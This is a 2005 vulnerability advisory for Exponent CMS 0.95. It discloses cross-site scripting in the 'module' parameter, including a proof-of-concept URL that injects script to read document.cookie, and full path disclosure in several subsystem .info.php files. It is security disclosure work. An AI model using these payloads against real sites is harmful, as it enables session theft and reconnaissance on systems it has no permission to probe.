ECHO_ADV_02$2004
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Vulnerabilities in eXponent
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Author: y3dips
Date: Januari, 25th 2005
Location: Indonesia, Jakarta
Web: http://echo.or.id/adv/adv010-y3dips-2005.txt
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Affected software description:
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Exponent Content Management System
Exponent is an exciting new web-based content management system. It makes
creating and maintaining websites easy for non-technical users, while
providing site managers the power and flexibility to add new features,
completely customize the layout, and delegate responsibilities to other
users.
by: James Hunt and the OIC Group
http://www.exponentcms.org
Version :
- Stable version of 0.95 Exponent CMS.
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Vulnerabilities:
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A. Cross-site scripting aka XSS:
A1 - XSS through unsanitaized user submitted in module variable
http://[SITE]/expo/index.php?action=view&id=2&module=<h1>Tes</h1>
POC : http://[SITE]/expo/index.php?action=view&id=2&module=<h1>Tes</h1>
A2. Session ID at module Variable
http://[SITE]/endon/mod.php?action=[BLABLA]&module=[XSS]
POC :
http://[SITE]/expo/index.php?action=createuser&module=%3Cscript%3Ealert(document.cookie)%3C/script%3E
B. Full Path disclosures
Some scripts in subsystems directories are vulnerable against direct access
and we will see standard php error messages revealing full path to script
This vulnerable is because undeffined pathos_core_version variable ,
and the vulnerable files has the same format name (:)~)
---.info.---.php
POC : http://localhost/expo/subsystems/search.info.php
Fatal error: Call to undefined function: pathos_core_version() in
/var/www/html/expo/subsystems/search.info.php on line 52
POC :
http://localhost/expo/subsystems/permissions.info.php
POC :
http://localhost/expo/subsystems/security.info.php
Fatal error: Call to undefined function: pathos_core_version() in
/var/www/html/expo/subsystems/security.info.php on line 51
Fatal error: Call to undefined function: pathos_core_version() in
/var/www/html/expo/subsystems/permissions.info.php on line 51
Another vulnerable path
- http://localhost/expo/sdk/blanks/formcontrol.php
- http://localhost/expo/sdk/blanks/file_modules.php
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Shoutz:
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~ echo|staff (m0by, the_day, comex, z3r0byt3, K-159, c-a-s-e, S`to, lirva32)
~ newbie_hacker@yahoogroups.com ,
~ #e-c-h-o@DALNET
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Contact:
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y3dips || echo|staff || y3dips[at]gmail[dot]com
Homepage: http://y3dips.echo.or.id/
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